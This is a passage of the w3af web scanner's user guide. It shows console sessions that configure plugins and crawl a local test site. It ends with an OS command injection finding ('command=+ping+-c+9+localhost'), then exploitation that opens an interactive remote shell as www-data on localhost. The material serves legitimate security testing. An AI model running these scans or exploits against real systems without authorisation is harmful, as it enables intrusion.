<P ALIGN=JUSTIFY STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">Now
we know what this plugin does, but let's check their internals:</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
audit config xss</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/audit/config:xss>>>
</B>view</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="background: #ffffff">|------------------------------------------------------------|
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="background: #ffffff">|
Setting | Value | Description | </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="background: #ffffff">|------------------------------------------------------------|
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="background: #ffffff">|
numberOfChecks | 3 | Set the amount of checks to | </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="background: #ffffff">|
| | perform for each fuzzable | </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="background: #ffffff">|
| | parameter. Valid numbers: 1 to | </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="background: #ffffff">|
| | 13 | </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="background: #ffffff">|
checkStored | True | Search persistent XSS | </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="background: #ffffff">|------------------------------------------------------------|
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="background: #ffffff"><B>w3af/plugin/xss>>></B><B>
</B>set checkStored False</SPAN></FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugin/xss>>></B>
back</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
audit config sqli</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/audit/config:sqli>>>
</B>view </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
Setting | Value | Description | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|------------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/audit/config:sqli>>>
</B></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B><SPAN STYLE="background: #ffffff">w3af/plugins/audit/config:sqli>>>
</SPAN></B><SPAN STYLE="font-weight: medium"><SPAN STYLE="background: #ffffff">back</SPAN></SPAN></FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B></FONT></P>
<P STYLE="font-weight: medium">
</P>
<P ALIGN=JUSTIFY STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">The
configuration menus for the plugins also have the set command for
changing the parameters values, and the view command for listing
existing values. On the previous example we disabled persistent cross
site scripting checks in the xss plugin, and listed the options of
the sqli plugin (it actually has no configurable parameters).</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<H2 CLASS="western">Starting a scan</H2>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">After
configuring all desired plugins the user has to set the target URL
and finally start the scan. The target selection is done this way:</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
target</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/config:target>>>
</B>set target http://localhost/</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/config:target>>></B>
back</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B></FONT></P>
<P><BR><BR>
</P>
<P STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">Finally,
you execute “start” in order to run all the configured plugins.</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
start</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">At
any time during the scan, you may hit “enter” in order to get a
live status of the w3af core. Status lines look like this:</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Status:
Running discovery.webSpider on http://localhost/w3af/ | Method: GET.</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<H3 CLASS="western">A complete session</H3>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">An
example of an entire w3af session appears below. Attention should be
paid to the inline comments as they provide additional details.</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>$</B>
./w3af</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
plugins</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
output console,textFile</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
output config textFile</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:textFile>>></B>
set fileName output-w3af.txt</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:textFile>>></B>
set verbose True</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:textFile>>></B>
back</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
output config console</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:console>>></B>
set verbose False</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:console>>></B>
back</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">All
this previous commands have enabled two output plugins, console and
textFile and configured them as needed.</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
discovery allowedMethods,webSpider</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
back</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">In
this case, we will be running only discovery plugins. The enabled
plugins are allowedMethods and webSpider .</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
target</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/target>>></B>set
target http://localhost/w3af/</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/target>>></B>back</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
start</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">New
URL found by discovery:
http://localhost/w3af/responseSplitting/responseSplitting.php</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">New
URL found by discovery:
http://localhost/w3af/blindSqli/blindSqli-str.php</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">New
URL found by discovery: http://localhost/w3af/webSpider/2.html</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">...</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">...</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">The
URL: http://localhost/beef/hook/ has DAV methods enabled:</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
OPTIONS</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
GET</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
HEAD</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
POST</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
TRACE</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
PROPFIND</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
PROPPATCH</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
COPY</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
MOVE</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
LOCK</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
UNLOCK</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
DELETE ( is possibly enabled too, not tested for safety )</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">New
URL found by discovery: http://localhost/w3af/globalRedirect/wargame/</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">New
URL found by discovery:
http://localhost/w3af/globalRedirect/w3af-site.tgz</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">After
the discovery phase is finished a summary is presented to the user:</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">The
list of found URLs is:</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/globalRedirect/w3af.testsite.tgz</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/beef/hook/beefmagic.js.php</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/globalRedirect/2.php</FONT></P>
<UL>
<LI><P STYLE="font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">http://localhost/w3af/webSpider/11.html</FONT></P>
<P STYLE="font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">...</FONT></P>
</UL>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">A
section of the summary is the points of injection that will be used
in the audit phase:</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Found
78 URLs and 102 different points of injection.</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">The
list of Fuzzable requests is:</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/ | Method: GET</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/responseSplitting/responseSplitting.php |
Method: GET | Parameters: (header)</FONT></P>
<UL>
<LI><P STYLE="font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">http://localhost/w3af/sqli/dataReceptor.php
| Method: POST | Parameters: (user,firstname)</FONT></P>
</UL>
<P ALIGN=JUSTIFY STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">Finally
the user exits the application, returning to the shell.</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
exit</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">w3af,
better than the regular script kiddie.</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>$</B></FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<H2 CLASS="western">A warning about discovery</H2>
<P><BR><BR>
</P>
<P>The discovery phase is a double edged sword: use it with wisdom,
and it will give you a lot of knowledge about the remote web
application, use it in a greedy way and you will be waiting for hours
until the discovery phase ends. Just to make things clear, the greedy
way is to enable all discovery plugins ( “discovery all” )
without even knowing what you are doing or having manually browsed
the web and understood its internals.
</P>
<P>Some examples will make things clear:
</P>
<UL>
<LI><P ALIGN=JUSTIFY>“You are testing an intranet web application,
the web application is huge and doesn't use any macromedia flash or
javascript code”.
</P>
<P ALIGN=JUSTIFY><I>Recommendation :</I> “discovery
all,!spiderMan, !fingerGoogle, !fingerBing, !fingerPKS, !BingSpider,
!googleSpider, !phishtank, !googleSafeBrowsing”.</P>
<P ALIGN=JUSTIFY><I>Reason: </I><SPAN STYLE="font-style: normal">Spiderman
should only be used when webSpider can't find all links. The
fingerGoogle, fingerBing and fingerPKS plugins discover mail
addresses from search engines, if this is an intranet application,
the addresses put in this site wont be available in search engines
because they never were indexed. BingSpider and googleSpider find
URLs using search engines, like the ones before, they are useless
because search engines don't index private pages. phishtank and
googleSafeBrowsing should be enabled because they search for
phishing sites, and like the ones before them, private sites aren't
indexed in this systems.</SPAN></P>
<P></P>
<LI><P>“You are testing a web application over the internet, the
web application is huge and doesn't use any macromedia flash or
javascript code”.
</P>
<P><I>Recommendation</I> : “discovery all,!spiderMan, !wordnet ,
!googleSets”.</P>
<P ALIGN=JUSTIFY><I>Reason: </I><SPAN STYLE="font-style: normal">Spiderman
should only be used when webSpider can't find all links. The wordnet
and googleSets plugins are two plugins that take a long time to run
over the internet so it's a good idea to disable them.</SPAN></P>
<P></P>
<LI><P>“You are testing a web application over the internet, the
web application is huge and has macromedia flash or javascript code.
You also know that the application doesn't implement any web
services”.
</P>
<P><I>Recommendation</I> : “discovery all, !wordnet , !googleSets,
!wsdlFinder”.</P>
<P ALIGN=JUSTIFY><I>Reason: </I><SPAN STYLE="font-style: normal">The
wordnet and googleSets plugins are two plugins that take a </SPAN><SPAN STYLE="font-style: normal">long
time to run over the internet so it's a good idea to disable them.
Regarding wsdlFinder, if we already know that no web services exist,
why look for them?</SPAN></P>
<P></P>
<LI><P>“You are testing a web application over the internet, the
web application is huge, you really need to know all the links and
functionality of the site and you don't care waiting.”.
</P>
<P><I>Recommendation</I> : “discovery all” .</P>
<P ALIGN=JUSTIFY><I>Reason: </I><SPAN STYLE="font-style: normal">You
really need to get a lot of knowledge about the site and don't care
if it takes a complete day.</SPAN></P>
</UL>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY><SPAN STYLE="font-style: normal">The latest
framework release incorporates a “maxDiscoveryTime” parameter in
the misc-settings. The default setting is two hours of discovery,
which in most cases will be enough to map the whole web application
and then start injecting with the audit plugins.</SPAN></P>
<H3 CLASS="western">When everything else fails...</H3>
<P ALIGN=JUSTIFY STYLE="font-style: normal">So, you enabled only the
recommended plugins in the discovery phase, you started the framework
one hour ago, the discovery is still running and doesn't find
anything. When you find yourself in this situation you have two
options, waiting for w3af to finish or hitting CTRL+C to finish the
discovery and start with the audit phase.</P>
<P ALIGN=JUSTIFY STYLE="font-style: normal">You should also remember
that if you are saving the debug information to a text file you can
open a new terminal and run a “tail -f w3af-output-file.txt” to
see what w3af is really doing.</P>
<H2 CLASS="western">w3af scripts</H2>
<P><BR><BR>
</P>
<P ALIGN=JUSTIFY>While developing w3af, I realized that I needed a
fast way to execute the same steps over and over, so the script
functionality was born. w3af can run a script file using the “-s”
argument. Script files are text files with one command on each line.
An example script file would look like this:</P>
<P><BR><BR>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>$</B>
head scripts/script-osCommanding.w3af</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">#
This is the osCommanding demo:</FONT></P>
<P STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">plugins</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">output
console,textFile</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">output</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">output
config textFile</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">set
fileName output-w3af.txt</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">set
verbose True</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">back</FONT></P>
<P STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">To run
this script you would execute <FONT FACE="Nimbus Mono L, monospace">“./w3af_console
-s scripts/script-osCommanding.w3af” </FONT>, the output would
look just like if you typed every command by hand in the console:</FONT></P>
<P><BR><BR>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>$</B>
./w3af_console -s scripts/script-osCommanding.w3af</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B><SPAN STYLE="font-weight: medium">plugins
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B><SPAN STYLE="font-weight: medium">output
console,textFile </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B><SPAN STYLE="font-weight: medium">output</SPAN><B>
</B></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|-----------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
Plugin | Status | Conf | Description | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
name | | | | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|-----------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
console | Enabled | Yes | Print messages to the | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | console. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
gtkOutput | | | Saves messages to | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | kb.kb.getData('gtkOutput', | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | 'queue'), messages are saved | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | in the form of objects. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
htmlFile | | Yes | Print all messages to a HTML | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | file. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
textFile | Enabled | Yes | Prints all messages to a | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | text file. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
webOutput | | | Print all messages to the | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | web user interface - this | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | plugin and the web user | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|
| | | interface are DEPRECATED. | </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">|-----------------------------------------------------------|
</FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B><SPAN STYLE="font-weight: medium">output
config textFile </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:textFile>>></B><SPAN STYLE="font-weight: medium">set
fileName output-w3af.txt </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:textFile>>></B><SPAN STYLE="font-weight: medium">set
verbose True </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:textFile>>></B><SPAN STYLE="font-weight: medium">back
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B><SPAN STYLE="font-weight: medium">output
config console </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:console>>></B><SPAN STYLE="font-weight: medium">set
verbose False </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:console>>></B><SPAN STYLE="font-weight: medium">back
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B><SPAN STYLE="font-weight: medium">back
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B><SPAN STYLE="font-weight: medium">plugins
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B><SPAN STYLE="font-weight: medium">audit
osCommanding </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B><SPAN STYLE="font-weight: medium">back
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B><SPAN STYLE="font-weight: medium">target
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/config:target>>></B><SPAN STYLE="font-weight: medium">set
target
http://localhost/w3af/osCommanding/vulnerable.php?command=f0as9 </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/config:target>>></B><SPAN STYLE="font-weight: medium">back
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B><SPAN STYLE="font-weight: medium">start
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Found
1 URLs and 1 different points of injection. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">The
list of URLs is: </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/osCommanding/vulnerable.php </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">The
list of fuzzable requests is: </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/osCommanding/vulnerable.php | Method: GET |
Parameters: (command) </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Starting
osCommanding plugin execution. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">OS
Commanding was found at:
"http://localhost/w3af/osCommanding/vulnerable.php", using
HTTP method GET. The sent data was: "command=+ping+-c+9+localhost".
The vulnerability was found in the request with id 5. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Finished
scanning process. </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B><SPAN STYLE="font-weight: medium">exploit
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit>>></B><SPAN STYLE="font-weight: medium">exploit
osCommandingShell </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">osCommandingShell
exploit plugin is starting. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">The
vulnerability was found using method GET, tried to change the method
to POST for exploiting but failed. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Vulnerability
successfully exploited. This is a list of available shells: </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
[0] <osCommandingShell object (ruser: "www-data" |
rsystem: "Linux brick 2.6.24-19-generic i686 GNU/Linux")>
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Please
use the interact command to interact with the shell objects. </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit>>></B><SPAN STYLE="font-weight: medium">interact
0 </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Execute
"endInteraction" to get out of the remote shell. Commands
typed in this menu will be runned on the remote web server. </FONT>
</P>
